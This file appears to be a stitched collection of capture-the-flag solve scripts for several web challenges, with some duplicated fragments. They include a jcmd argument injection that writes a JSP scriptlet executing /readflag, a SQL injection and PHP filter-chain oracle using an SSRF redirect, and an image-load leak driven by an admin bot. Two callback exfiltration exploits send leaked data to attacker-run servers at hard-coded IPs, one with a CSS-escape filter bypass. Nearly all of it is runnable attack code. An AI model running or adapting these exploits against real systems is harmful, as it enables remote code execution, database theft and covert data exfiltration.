import re
import sys
import time
import uuid
from urllib.parse import quote

import requests

TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:7777"
FLAG_RE = re.compile(rb"codegate2026\{[^}\r\n\x00]+\}")

# JSP scriptlet that executes /readflag and reads the output
TRIGGER_PATH = '<%=Runtime.getRuntime().exec((char)47+"readflag").inputReader().readLine()%>.jsp'

def get_pid(s):
    """Get Tomcat (Bootstrap) PID via /api/processes."""
    r = s.get(f"{TARGET}/api/processes", timeout=5)
    for proc in r.json():
        if "Bootstrap" in str(proc.get("name", "")):
            return str(proc["pid"])
    return "1"


def exploit(s):
    pid = get_pid(s)
    jsp_name = uuid.uuid4().hex[:10]
    jsp_path = f"/usr/local/tomcat/webapps/ROOT/WEB-INF/views/{jsp_name}.jsp"
    duration = 4

    # Step 1: Inject JFR.start via pid parameter to write a .jsp file
    injected_pid = f"{pid} JFR.start duration={duration}s filename={jsp_path} settings=profile exceptions=all"
    r = s.get(f"{TARGET}/api/status", params={"pid": injected_pid}, timeout=5)
    if "Started recording" not in r.text:
        print(f"[-] JFR start failed: {r.text[:200]}")
        return None
    print(f"[+] JFR recording started -> {jsp_name}.jsp")

    # Step 2: Trigger an exception containing JSP scriptlet code
    encoded = quote(TRIGGER_PATH, safe="")
    s.get(f"{TARGET}/{encoded}", timeout=5)
    print("[+] Triggered exception with scriptlet payload")

    # Step 3: Wait for JFR recording to finish and fetch the JSP
    time.sleep(duration + 2)
    for i in range(5):
        r = s.get(f"{TARGET}/{jsp_name}.jsp", timeout=5)
        m = FLAG_RE.search(r.content)
        if m:
            return m.group(0).decode()
        print(f"[*] Attempt {i+1}: status={r.status_code}, no flag yet")
        time.sleep(1.5)

    return None


def main():
    print(f"[*] Target: {TARGET}")
    s = requests.Session()

    # Wait for jcmd to be ready
    for _ in range(60):
        try:
            r = s.get(f"{TARGET}/api/status", params={"pid": "1"}, timeout=5)
            if r.status_code == 200 and "OpenJDK" in r.text:
                print("[+] jcmd is ready")
                break
        except Exception:
            pass
        time.sleep(3)
    else:
        print("[-] Timeout waiting for jcmd")
        return 1

    # Try multiple attempts
    for attempt in range(5):
        print(f"\n[*] Attempt {attempt + 1}/5")
        flag = exploit(s)
        if flag:
            print(f"\n[!] FLAG: {flag}")
            return 0
        time.sleep(2)

    print("\n[-] Failed to get flag")
    return 1


if __name__ == "__main__":
    sys.exit(main())

PROFILE = {
    "workspace": {"locale": "digest", "segment": "managed"},
    "channels": [{"kind": "mail", "target": "case-notes@relaydesk.local", "label": "thread"}],
}

link = f"http://brief.relaydesk.local%E3%80%82[{MAPPED_IP}]:{PUBLIC_PORT}/notes/{tid}"
html = (
    f'<section class="message-card">'
    f'<a class="summary-link" href="{link}" data-mode="inline" '
    f'data-tags="summary,activity,notes" data-thread-id="{THREAD_ID}">x</a>'
    f'</section>'
)

slot = fnv1a32(f"{wid}|{task['fragment']}|{task['bucket']}|{rv}")
url = f"{BASE_URL}/mail/queue/assets/{wid}/{slot}.js"
r = http_session.get(url, params={"q": task["fragment"], "bucket": task["bucket"], "rv": rv})
task["result"] = (r.status_code == 200)  # 200이면 fragment 존재

"""RelayDesk CTF Exploit — Blind 4-gram oracle to extract flag from workspace-context."""

import http.server, socket, threading, time, uuid
from urllib.parse import parse_qs, urlparse
import requests

# ─── Config ───
BASE_URL        = "http://3.35.23.4:18080"
PUBLIC_IPV4     = "3.39.25.30"
PUBLIC_PORT     = 8888
LISTEN_PORT     = 8888
SUBMITTER       = "attacker@example.com"
FLAG_PREFIX     = "codegate2026{"
HEX_LEN         = 24
HEX_ALPHA       = "0123456789abcdef"

# ─── Helpers ───
def fnv1a32(s):
    h = 0x811C9DC5
    for b in s.encode():
        h = ((h ^ b) * 0x01000193) & 0xFFFFFFFF
    return f"{h:08x}"

def ip_mapped(ip):
    import ipaddress
    p = ipaddress.IPv4Address(ip).packed
    return f"::ffff:{(p[0]<<8)|p[1]:x}:{(p[2]<<8)|p[3]:x}"

MAPPED_IP = ip_mapped(PUBLIC_IPV4)
SUBJECT   = f"relay-{uuid.uuid4().hex[:8]}"
THREAD_ID = SUBJECT.lower()
PROFILE   = {
    "workspace": {"locale": "digest", "segment": "managed"},
    "channels": [{"kind": "mail", "target": "case-notes@relaydesk.local", "label": "thread"}],
}

http_session = requests.Session()
tasks = {}

# ─── Oracle HTTP Server ───
def start_server():
    def handle(handler):
        parsed = urlparse(handler.path)
        parts = [p for p in parsed.path.split("/") if p]
        qs = parse_qs(parsed.query)
        task = tasks.get(parts[1]) if len(parts) >= 2 and parts[0] == "notes" else None

        if task and not task["event"].is_set():
            wid = qs.get("wid", [""])[0]
            rv  = qs.get("rv", [""])[0]
            if wid and rv:
                slot = fnv1a32(f"{wid}|{task['fragment']}|{task['bucket']}|{rv}")
                url = f"{BASE_URL}/mail/queue/assets/{wid}/{slot}.js"
                r = http_session.get(url, params={"q": task["fragment"], "bucket": task["bucket"], "rv": rv}, timeout=15)
                task["result"] = (r.status_code == 200)
                task["event"].set()

        body = b"<!doctype html><script>try{parent.postMessage({type:'relaydesk:resume-ready'},'*')}catch(e){}</script>"
        handler.send_response(200)
        handler.send_header("Content-Type", "text/html")
        handler.send_header("Content-Length", str(len(body)))
        handler.end_headers()
        handler.wfile.write(body)

    class H(http.server.BaseHTTPRequestHandler):
        do_GET = lambda self: handle(self)
        log_message = lambda *_: None

    class S(http.server.ThreadingHTTPServer):
        address_family = socket.AF_INET6
        daemon_threads = True
        def server_bind(self):
            try: self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 0)
            except: pass
            super().server_bind()

    srv = S(("::", LISTEN_PORT), H)
    threading.Thread(target=srv.serve_forever, daemon=True).start()
    return srv

# ─── Ticket Operations ───
def sync_and_seed():
    http_session.post(f"{BASE_URL}/api/v1/support/profile/sync", json={
        "submitter_email": SUBMITTER, "subject": SUBJECT,
        "body_html": "<p>seed</p>", "body_text": "seed", **PROFILE
    }).raise_for_status()

    r = http_session.post(f"{BASE_URL}/api/v1/support/tickets", json={
        "submitter_email": SUBMITTER, "subject": SUBJECT,
        "body_html": "<p>seed</p>", "body_text": "seed",
    })
    r.raise_for_status()
    pid = r.json()["ticket_id"]

    for _ in range(120):
        s = http_session.get(f"{BASE_URL}/api/v1/support/tickets/{pid}/status").json().get("status")
        if s in ("awaiting_reply", "conversation_linked"):
            print(f"[+] seed ready: {pid}")
            return pid
        time.sleep(0.25)
    raise TimeoutError("seed ticket never ready")

def submit_probe(fragment):
    tid = uuid.uuid4().hex
    bucket = "b" + tid[:11]
    tasks[tid] = {"fragment": fragment, "bucket": bucket, "event": threading.Event(), "result": None}

    link = f"http://brief.relaydesk.local%E3%80%82[{MAPPED_IP}]:{PUBLIC_PORT}/notes/{tid}"
    html = (
        f'<section class="message-card">'
        f'<a class="summary-link" href="{link}" data-mode="inline" '
        f'data-tags="summary,activity,notes" data-thread-id="{THREAD_ID}">x</a>'
        f'</section>'
    )
    http_session.post(f"{BASE_URL}/api/v1/support/tickets", json={
        "submitter_email": SUBMITTER, "subject": SUBJECT,
        "body_html": html, "body_text": fragment,
    }).raise_for_status()
    return tasks[tid]

# ─── Oracle Query ───
def query(fragments):
    probes = []
    for f in dict.fromkeys(fragments):
        probes.append(submit_probe(f))
        time.sleep(0.03)
    results = {}
    for p in probes:
        p["event"].wait(timeout=45)
        results[p["fragment"]] = p["result"]
    return results

cache = {}

def solve():
    total_depth = HEX_LEN + 1
    branches = [(FLAG_PREFIX[-3:], "")]

    for depth in range(total_depth):
        alpha = "}" if depth == total_depth - 1 else HEX_ALPHA
        candidates = {}
        for i, (suffix, _) in enumerate(branches):
            for c in alpha:
                frag = suffix + c
                if frag not in candidates:
                    candidates[frag] = []
                candidates[frag].append((i, c))

        to_query = [f for f in candidates if f not in cache]
        if to_query:
            cache.update(query(to_query))

        next_branches = []
        for i, (suffix, built) in enumerate(branches):
            for c in alpha:
                frag = suffix + c
                if cache.get(frag):
                    next_branches.append((frag[-3:], built + c))
        branches = next_branches
        print(f"  depth {depth+1}/{total_depth}: {len(branches)} branch(es)")

        if not branches:
            raise RuntimeError(f"no surviving branches at depth {depth+1}")

    if len(branches) != 1:
        raise RuntimeError(f"expected 1 solution, got {len(branches)}")
    return FLAG_PREFIX + branches[0][1]

# ─── Main ───
if __name__ == "__main__":
    srv = start_server()
    print(f"[*] oracle listener on :{LISTEN_PORT}")
    try:
        sync_and_seed()
        flag = solve()
        print(f"[+] FLAG: {flag}")
    finally:
        srv.shutdown()

#!/usr/bin/env python3
import argparse, base64, sys, requests
from urllib.parse import quote

sys.path.insert(0, "./php_filter_chains_oracle_exploit")
from filters_chain_oracle.core.bruteforcer import Bruteforcer

REDIR = "http://httpbin.org/redirect-to"


def sqli_admin_pw(url):
    s = requests.Session()
    s.post(f"{url}/login.php", data={"username": "mkim", "password": "erp123"}, allow_redirects=False)
    r = s.get(f"{url}/index.php", params={
        "col": "\\?#\x00", "download": "1",
        "name": "x` FROM (SELECT HEX(password) AS `'x` FROM users WHERE is_admin=1 LIMIT 1)y;#",
    })
    return bytes.fromhex(r.text.strip()).decode()


def login(url, user, pw):
    s = requests.Session()
    s.post(f"{url}/login.php", data={"username": user, "password": pw}, allow_redirects=False)
    return s


class Oracle(Bruteforcer):
    FLIP = "convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.UCS-4|convert.base64-decode|convert.base64-encode"
    FLIP_WARNING_FRIENDLY = "convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.UCS-4|convert.base64-decode|convert.base64-encode"
    R4 = "convert.iconv.UCS-4LE.UCS-4"

    def __init__(self, sess, url, idx, redir):
        super().__init__(offset=0)
        self.sess, self.url = sess, f"{url}/hash.php"
        inner = f"http://127.0.0.1/secret.php?index={idx}&filter=string.rot13|string.rot13"
        self.res = f"{redir}?url={quote(inner, safe='')}"

    def send(self, filters):
        try:
            r = self.sess.get(self.url, params={"filter": filters, "resource": self.res}, timeout=15)
            return r.status_code >= 500
        except:
            return True


def leak_char(sess, url, idx, redir):
    o = Oracle(sess, url, idx, redir)
    t = "".join(o.find_value(p) for p in (10, 11))
    return chr(base64.b64decode("Oi" + t)[2])


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--url", required=True)
    ap.add_argument("--redir", default=REDIR)
    ap.add_argument("--start", type=int, default=0)
    ap.add_argument("--max", type=int, default=64)
    a = ap.parse_args()
    url = a.url.rstrip("/")

    pw = sqli_admin_pw(url)
    print(f"[+] admin pw: {pw}")
    sess = login(url, "admin", pw)

    flag = []
    for i in range(a.start, a.start + a.max):
        ch = leak_char(sess, url, i, a.redir)
        flag.append(ch)
        print(f"  [{i:02d}] {ch}  {''.join(flag)}", flush=True)
        if ch == "}":
            break
    print(f"\n[+] Flag: {''.join(flag)}")


if __name__ == "__main__":
    main()

import random
import string
import time
import subprocess

import requests
import urllib3

urllib3.disable_warnings()

APP = "https://15.165.70.183"
BOT = "http://15.165.70.183:5000"
REPORT_ORIGIN = "https://nginx"
CHARSET = "0123456789abcdef"
BLOCKERS = 127
POLL_INTERVAL = 2.0
POLL_ROUNDS = 15
ROUND_COOLDOWN = 22.0
FLAG_PREFIX = "flag_"
FLAG_HEX_LEN = 16  # openssl rand -hex 8 = 16 hex chars
ROUND_RETRIES = 5

s = requests.Session()
s.verify = False


def rand(n=10):
    return "".join(random.choices(string.ascii_lowercase + string.digits, k=n))


def register_and_login():
    username = f"user_{rand()}"
    s.post(f"{APP}/api/auth/register", json={"username": username, "password": "qwer1234", "name": "x"})
    s.post(f"{APP}/api/auth/login", json={"username": username, "password": "qwer1234"})
    print(f"[+] logged in as {username}")


def get_memos():
    return s.get(f"{APP}/api/user").json()["data"]["memos"]


def create_shared_memo(title, content):
    s.post(f"{APP}/api/memo", json={"title": title, "content": content})
    memo = next(m for m in get_memos() if m["title"] == title)
    key = s.post(f"{APP}/api/memo/{memo['_id']}/share").json()["data"]["sharedKey"]
    return memo["_id"], key


def report(shared_key):
    url = f"{REPORT_ORIGIN}/memo/shared?key={shared_key}"
    requests.post(f"{BOT}/report", json={"url": url}, timeout=10, verify=False)


def get_views(memo_id):
    return s.get(f"{APP}/api/memo/{memo_id}").json()["data"]["views"]


def make_content(prefix):
    token = rand()
    blockers = "".join(f'<img src="/api/image?filename=nope_{token}_{i}">' for i in range(BLOCKERS))
    return f'<img src="/api/image/admin?filename={prefix}">{blockers}'


def solve_round(prefix):
    """Try each candidate char, report all to bot, poll views to find the hit."""
    for i in range(1, ROUND_RETRIES + 1):
        candidates = []
        for ch in CHARSET:
            p = prefix + ch
            title = f"{p}_{rand(8)}"
            memo_id, key = create_shared_memo(title, make_content(p))
            candidates.append((ch, memo_id, key))

        for _, _, key in candidates:
            report(key)

        for poll in range(POLL_ROUNDS):
            time.sleep(POLL_INTERVAL)
            hits = [(ch, mid) for ch, mid, _ in candidates if get_views(mid) > 0]
            print(f"  poll={poll+1} hits={''.join(h[0] for h in hits) or '-'}")
            if len(hits) == 1:
                return hits[0][0]
            if len(hits) > 1:
                break

        if i != ROUND_RETRIES:
            time.sleep(ROUND_COOLDOWN)

    raise RuntimeError(f"failed to resolve char for prefix {prefix!r}")


def fetch_flag_image(filename):
    """Download the flag image and open it."""
    r = s.get(f"{APP}/api/image", params={"filename": filename})
    if r.status_code != 200:
        print(f"[-] failed to fetch image: {r.status_code}")
        return

    with open(filename, "wb") as f:
        f.write(r.content)
    print(f"[+] saved {filename} ({len(r.content)} bytes)")

    try:
        subprocess.run(["open", filename], check=False)
    except Exception:
        pass


def main():
    register_and_login()

    prefix = FLAG_PREFIX
    start = len(prefix) - len("flag_")
    for i in range(start, FLAG_HEX_LEN):
        ch = solve_round(prefix)
        prefix += ch
        print(f"[+] recovered: {prefix} ({i+1}/{FLAG_HEX_LEN})")
        if i < FLAG_HEX_LEN - 1:
            time.sleep(ROUND_COOLDOWN)

    filename = f"{prefix}.png"
    print(f"[+] flag filename: {filename}")
    fetch_flag_image(filename)


if __name__ == "__main__":
    main()

def is_admin(req):
    token = load_admin_token()
    if not token:
        return False
    return req.cookies.get("admin", "") == token

@app.route("/")
def index():
    flag = os.getenv("FLAG", "flag{DUMMY_FLAG}")
    admin = is_admin(request)
    user = current_user()
    return render_template(
        "index.html",
        is_admin=admin,
        flag=flag,
        posts=visible_posts(user, admin),
        max_len=MAX_POST_LEN,
        current_user=user,
    )

MAX_POST_LEN = 320

@app.route("/post", methods=["POST"])
def add_post():
    ...
    if find_post_by_author(user):
        return jsonify({"ok": False, "message": "one_post_per_user"}), 409
    post = extract_post_text()
    if not post or len(post) > MAX_POST_LEN:
        return jsonify({"ok": False}), 400
    ...

@app.after_request
def add_response_headers(response):
    response.headers["Document-Policy"] = "force-load-at-top"
    return response

def build_font(prefix: str, alphabet: str) -> bytes:
    # 모든 기본 글리프는 advance width = 0
    for ch in chars:
        metrics[n] = (0, 0)

    # 치환 글리프는 후보별로 고유한 너비
    for i in range(len(alphabet)):
        metrics[n] = (BASE_W + STEP_W * i, 0)  # 400, 432, 464, ...

    # clig 피처: prefix + candidate → match glyph
    # sub g_0063 g_006f g_0064 g_0065 ... g_XXXX by m_XX;
    addOpenTypeFeaturesFromString(fb.font, "\n".join(lines))

#!/usr/bin/env python3
"""
Sealed Board CTF — CSS Ligature + Container Query Flag Exfiltration
===================================================================

Attack chain:
  1. After applying DOMPurify into raw css, it includes the <style> tag
  2. CSS escape (\68ttp:\2f/) bypasses hasRemoteStyleReference filter
     - \68ttp:  avoids /\b(?:https?|data)\s*:/i  regex match
     - \2f/     avoids literal "//" substring check
  3. @import loads external CSS from attacker server (no size limit)
  4. Inline prelude sets #page { content-visibility:hidden } + #flag { display:block!important }
     → #flag is in a "not being rendered" subtree → checkVisibility()=false (per spec default)
     → Guardian restores flag textContent (display≠none/contents, checkVisibility()=false)
  5. Custom OpenType font with clig ligatures:
     known_prefix + candidate_char → replacement glyph with unique width
  6. CSS Grid layout makes #flag's text width drive the container's inline-size
  7. @container queries detect the width → fire background-image callback → leak char

Requirements:
  pip install fonttools flask requests

Usage:
  python3 solve.py \
    --attacker http://host.docker.internal:5555 \
    --target   http://localhost:5000 \
    --bot      http://localhost:5001 \
    --port     5555             

  The script runs an HTTP server on the specified port and orchestrates the
  attack automatically, one character at a time.
"""
   
import argparse
import io
import json
import logging
import queue
import secrets
import threading
import time
import urllib.parse

import requests
from flask import Flask, Response
from flask import request as freq
from fontTools.feaLib.builder import addOpenTypeFeaturesFromString
from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen

# ─── Constants ────────────────────────────────────────────────────────────────

UPM = 1000          # units per em
FONT_PX = 32        # font-size in CSS pixels
BASE_W = 400        # base glyph width (units) for candidate index 0
STEP_W = 32         # width increment per candidate index


# ─── Font Builder ─────────────────────────────────────────────────────────────

def _empty_glyph():
    return TTGlyphPen(None).glyph()


def _gname(ch):
    return f"g_{ord(ch):04x}"


def _mname(i):
    return f"m_{i:02d}"


def _w_units(i):
    return BASE_W + STEP_W * i


def _w_px(units):
    return (units / UPM) * FONT_PX


def build_font(prefix: str, alphabet: str) -> bytes:
    """
    Build a TrueType font with a clig ligature feature:
      prefix_glyphs + candidate_glyph[i] → match_glyph[i]  (unique width)
    All base character glyphs have zero advance width so only the matched
    substitution glyph contributes to the element's rendered width.
    """
    chars = list(dict.fromkeys(alphabet + prefix))
    order = [".notdef"]
    glyphs = {".notdef": _empty_glyph()}
    metrics = {".notdef": (0, 0)}
    cmap = {}

    for ch in chars:
        n = _gname(ch)
        order.append(n)
        glyphs[n] = _empty_glyph()
        metrics[n] = (0, 0)
        cmap[ord(ch)] = n

    for i in range(len(alphabet)):
        n = _mname(i)
        order.append(n)
        glyphs[n] = _empty_glyph()
        metrics[n] = (_w_units(i), 0)

    fb = FontBuilder(UPM, isTTF=True)
    fb.setupGlyphOrder(order)
    fb.setupCharacterMap(cmap)
    fb.setupGlyf(glyphs)
    fb.setupHorizontalMetrics(metrics)
    fb.setupHorizontalHeader(ascent=800, descent=-200)
    fb.setupNameTable({
        "familyName": "Leak", "styleName": "Regular",
        "uniqueFontIdentifier": f"Leak-{len(prefix)}",
        "fullName": "Leak Regular", "psName": "Leak-Regular",
    })
    fb.setupOS2(sTypoAscender=800, sTypoDescender=-200,
                sTypoLineGap=0, usWinAscent=800, usWinDescent=200)
    fb.setupPost()
    fb.setupMaxp()

    pfx_names = " ".join(_gname(c) for c in prefix)
    lines = ["feature clig {"]
    for i, ch in enumerate(alphabet):
        lines.append(f"  sub {pfx_names} {_gname(ch)} by {_mname(i)};")
    lines.append("} clig;")
    addOpenTypeFeaturesFromString(fb.font, "\n".join(lines))

    buf = io.BytesIO()
    fb.save(buf)
    return buf.getvalue()


# ─── CSS Builder ──────────────────────────────────────────────────────────────

def build_css(prefix: str, alphabet: str, tag: str, base: str) -> str:
    ep = urllib.parse.quote(prefix, safe="")
    ea = urllib.parse.quote(alphabet, safe="")
    et = urllib.parse.quote(tag, safe="")
    font_url = f"{base}/f?p={ep}&a={ea}"

    # Container query rules — one per candidate character
    cq_rules = []
    for i, ch in enumerate(alphabet):
        cur = _w_units(i)
        lo_u = _w_units(i - 1) if i > 0 else cur - STEP_W
        hi_u = _w_units(i + 1) if i + 1 < len(alphabet) else cur + STEP_W
        lo_px = _w_px((lo_u + cur) / 2.0)
        hi_px = _w_px((cur + hi_u) / 2.0)
        eg = urllib.parse.quote(ch, safe="")
        hit_url = f"{base}/h?p={ep}&g={eg}&t={et}"
        cq_rules.append(
            f"@container leak ({lo_px:.1f}px < width) and (width < {hi_px:.1f}px) {{\n"
            f"  #post-list {{ background-image: url(\"{hit_url}\") !important; }}\n"
            f"}}"
        )

    font_id = f"leak-{ep}"

    return f"""\
@keyframes reveal {{
  from {{ content-visibility: hidden }}
  to   {{ content-visibility: visible }}
}}

body::before {{
  content: "A";
  position: fixed; top: 0; left: 0;
  color: transparent;
  font-family: "{font_id}" !important;
  font-size: {FONT_PX}px !important;
  font-feature-settings: "liga" 1, "clig" 1 !important;
  white-space: pre !important;
}}

#page {{
  display: inline-grid !important;
  grid-template-columns: max-content !important;
  width: fit-content !important;
  min-width: 0 !important;
  content-visibility: hidden;
  animation: reveal 0.001s step-end forwards !important;
  animation-delay: 1.2s !important;
}}

#page > :not(.feed):not(#flag) {{
  display: none !important;
}}

.feed {{
  display: block !important;
  grid-area: 1 / 1 !important;
  width: auto !important;
  min-width: 0 !important;
  margin: 0 !important; padding: 0 !important; border: 0 !important;
  background: transparent !important;
  box-shadow: none !important;
  container-name: leak !important;
  container-type: inline-size !important;
}}

.feed > :not(#post-list) {{
  display: none !important;
}}

#post-list {{
  display: block !important;
  width: 4px !important; height: 4px !important;
  margin: 0 !important; padding: 0 !important; border: 0 !important;
  background-repeat: no-repeat !important;
  background-size: 1px 1px !important;
}}

#flag {{
  display: block !important;
  visibility: hidden !important;
  grid-area: 1 / 1 !important;
  width: fit-content !important;
  margin: 0 !important; padding: 0 !important; border: 0 !important;
  white-space: pre !important;
  overflow: visible !important;
  font-family: "{font_id}" !important;
  font-size: {FONT_PX}px !important;
  line-height: 1 !important;
  font-kerning: none !important;
  font-feature-settings: "liga" 1, "clig" 1 !important;
}}

@font-face {{
  font-family: "{font_id}";
  src: url("{font_url}") format("truetype");
}}

{chr(10).join(cq_rules)}
"""


# ─── Attacker Flask Server ───────────────────────────────────────────────────

app = Flask(__name__)
hit_queue: queue.Queue = queue.Queue()

# Suppress Flask/Werkzeug request logs
logging.getLogger("werkzeug").setLevel(logging.ERROR)


@app.get("/c")
def serve_css():
    """Serve dynamically generated CSS payload."""
    p = freq.args.get("p", "")
    a = freq.args.get("a", "abcdefghijklmnopqrstuvwxyz0123456789_}")
    t = freq.args.get("t", "x")
    base = f"{freq.scheme}://{freq.host}"
    return Response(build_css(p, a, t, base), mimetype="text/css")


@app.get("/f")
def serve_font():
    """Serve dynamically generated ligature font."""
    p = freq.args.get("p", "")
    a = freq.args.get("a", "abcdefghijklmnopqrstuvwxyz0123456789_}")
    return Response(
        build_font(p, a), mimetype="font/ttf",
        headers={"Access-Control-Allow-Origin": "*"},
    )


@app.get("/h")
def serve_hit():
    """Receive exfiltration callback from admin browser."""
    p = freq.args.get("p", "")
    g = freq.args.get("g", "")
    t = freq.args.get("t", "")
    if g:
        hit_queue.put({"prefix": p, "guess": g, "tag": t, "ts": time.time()})
        print(f"  [HIT] prefix='{p}' next='{g}' tag='{t}'")
    return Response(b"", mimetype="image/png")


# ─── Exploit Client ──────────────────────────────────────────────────────────

def css_escape_url(url: str) -> str:
    """
    Minimally CSS-escape a URL to bypass hasRemoteStyleReference():
      \\68ttp:  → breaks \\b(?:https?)\\s*: regex (no word boundary before \\68)
      \\2f/    → avoids literal "//" substring
    CSS parser still resolves escapes → valid URL.
    """
    return (url
            .replace("http://",  "\\68ttp:\\2f/")
            .replace("https://", "\\68ttps:\\2f/"))


def make_payload(attacker: str, prefix: str, alphabet: str, tag: str) -> str:
    """
    Build the HTML payload to inject as a post (must be ≤320 chars).
    Two <style> blocks:
      1. @import with CSS-escaped URL → loads full CSS from attacker server
      2. Inline prelude:
         - #page{content-visibility:hidden}  ← makes #flag's checkVisibility()=false
                                               (guardian bypass; spec default opts)
         - #flag{display:block!important}     ← overrides IIFE's inline display:none
                                               so guardian falls through to restore
    """
    ep = urllib.parse.quote(prefix, safe="")
    ea = urllib.parse.quote(alphabet, safe="")
    et = urllib.parse.quote(tag, safe="")
    css_url = f"{attacker}/c?p={ep}&a={ea}&t={et}"
    escaped = css_escape_url(css_url)
    prelude = "#page{content-visibility:hidden}#flag{display:block!important}"
    return f'<style>@import "{escaped}";</style><style>{prelude}</style>x'


def register_and_post(target: str, payload: str) -> int | None:
    """Register a throwaway account and create a single post."""
    s = requests.Session()
    user = "u" + secrets.token_hex(4)
    pwd = secrets.token_hex(8)

    r = s.post(f"{target}/register",
               data={"username": user, "password": pwd},
               allow_redirects=False)
    if r.status_code not in (200, 302):
        print(f"[-] Register failed: {r.status_code}")
        return None

    r = s.post(f"{target}/post",
               data={"post": payload},
               allow_redirects=False)
    try:
        data = r.json()
    except Exception:
        print(f"[-] Post failed: {r.text[:200]}")
        return None

    if not data.get("ok"):
        print(f"[-] Post failed: {data}")
        return None

    pid = data["post"]["id"]
    print(f"[+] User '{user}' → post #{pid}")
    return pid


def trigger_bot(bot: str, path: str, team_id: str = "solver") -> str | None:
    """Ask admin bot to visit a webapp path."""
    url = f"{bot}/visit?url={urllib.parse.quote(path, safe='/?:=&')}"
    try:
        r = requests.get(url, headers={"X-Team-Id": team_id}, timeout=10)
        data = r.json()
    except Exception as e:
        print(f"[-] Bot request failed: {e}")
        return None
    job_id = data.get("job_id")
    if not job_id:
        print(f"[-] Bot error: {data}")
    return job_id


def wait_bot_done(bot: str, job_id: str, timeout: float = 60.0):
    """Poll bot job status until finished."""
    deadline = time.time() + timeout
    while time.time() < deadline:
        try:
            r = requests.get(f"{bot}/visit/{job_id}", timeout=5)
            status = r.json().get("status", "")
            if status in ("ok", "error"):
                return status
        except Exception:
            pass
        time.sleep(2)
    return "timeout"


def drain_hits(tag: str, timeout: float = 5.0) -> str | None:
    """Drain the hit queue and return the guess matching our tag."""
    deadline = time.time() + timeout
    result = None
    while time.time() < deadline:
        try:
            item = hit_queue.get(timeout=0.5)
            if item["tag"] == tag:
                result = item["guess"]
        except queue.Empty:
            if result is not None:
                break
    return result


# ─── Orchestrator ─────────────────────────────────────────────────────────────

def solve(args):
    prefix = args.prefix
    alphabet = args.alphabet

    print(json.dumps({
        "stage": "start", "prefix": prefix, "alphabet": alphabet,
        "attacker": args.attacker, "target": args.target, "bot": args.bot,
    }, indent=2), flush=True)

    while not prefix.endswith("}"):
        tag = secrets.token_hex(4)
        payload = make_payload(args.attacker, prefix, alphabet, tag)

        if len(payload) > 320:
            print(json.dumps({
                "stage": "error", "message": "payload too long",
                "length": len(payload), "max": 320,
            }), flush=True)
            return

        print(json.dumps({
            "stage": "position", "position": len(prefix),
            "prefix": prefix, "payload_len": len(payload), "tag": tag,
        }), flush=True)

        # Step 1: Register + Post (once per prefix)
        pid = register_and_post(args.target, payload)
        if pid is None:
            time.sleep(2)
            continue

        # Step 2: Trigger bot once
        while True:
            job_id = trigger_bot(args.bot, f"/post/{pid}", args.team_id)
            if job_id:
                break
            print(json.dumps({
                "stage": "bot_wait", "message": "retrying in 10s",
            }), flush=True)
            time.sleep(10)

        print(json.dumps({
            "stage": "bot_triggered", "job_id": job_id, "post_id": pid,
        }), flush=True)

        # Step 3: Wait for bot completion + hit callback
        guess = None
        bot_status = None
        while guess is None:
            # Poll bot status if not done yet
            if bot_status is None:
                try:
                    r = requests.get(f"{args.bot}/visit/{job_id}", timeout=5)
                    st = r.json().get("status", "")
                    if st in ("ok", "error"):
                        bot_status = st
                        print(json.dumps({
                            "stage": "bot_done", "status": st,
                            "job_id": job_id, "post_id": pid,
                        }), flush=True)
                except Exception:
                    pass

            # Check for hit callback
            try:
                item = hit_queue.get(timeout=2)
                if item["tag"] == tag:
                    guess = item["guess"]
            except queue.Empty:
                pass

        prefix += guess
        print(json.dumps({
            "stage": "found", "guess": guess, "prefix": prefix,
            "post_id": pid, "job_id": job_id,
        }), flush=True)
        time.sleep(args.step_delay)

    print(json.dumps({"ok": True, "flag": prefix}, indent=2))


def main():
    ap = argparse.ArgumentParser(
        description="Sealed Board CTF — CSS ligature exfiltration exploit")
    ap.add_argument("--attacker", required=True,
                    help="Attacker server URL reachable from admin bot "
                         "(e.g., http://YOUR_IP:8000)")
    ap.add_argument("--target", default="http://localhost:5000",
                    help="Webapp URL")
    ap.add_argument("--bot", default="http://localhost:5001",
                    help="Admin bot URL")
    ap.add_argument("--prefix", default="codegate2026{",
                    help="Known flag prefix")
    ap.add_argument("--alphabet",
                    default="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_}",
                    help="Candidate characters")
    ap.add_argument("--port", type=int, default=8000,
                    help="Attacker server listen port")
    ap.add_argument("--team-id", default="solver",
                    help="Team ID header for bot rate limiting")
    ap.add_argument("--step-delay", type=float, default=1.0,
                    help="Delay between successful steps (seconds)")
    ap.add_argument("--retry-delay", type=float, default=3.0,
                    help="Delay before retrying a failed step (seconds)")
    args = ap.parse_args()

    # Start Flask server in background thread
    server = threading.Thread(
        target=lambda: app.run(host="0.0.0.0", port=args.port, threaded=True),
        daemon=True,
    )
    server.start()
    print(f"[*] Attacker server listening on 0.0.0.0:{args.port}")
    time.sleep(0.5)

    try:
        solve(args)
    except KeyboardInterrupt:
        print("\n[*] Interrupted")


if __name__ == "__main__":
    main()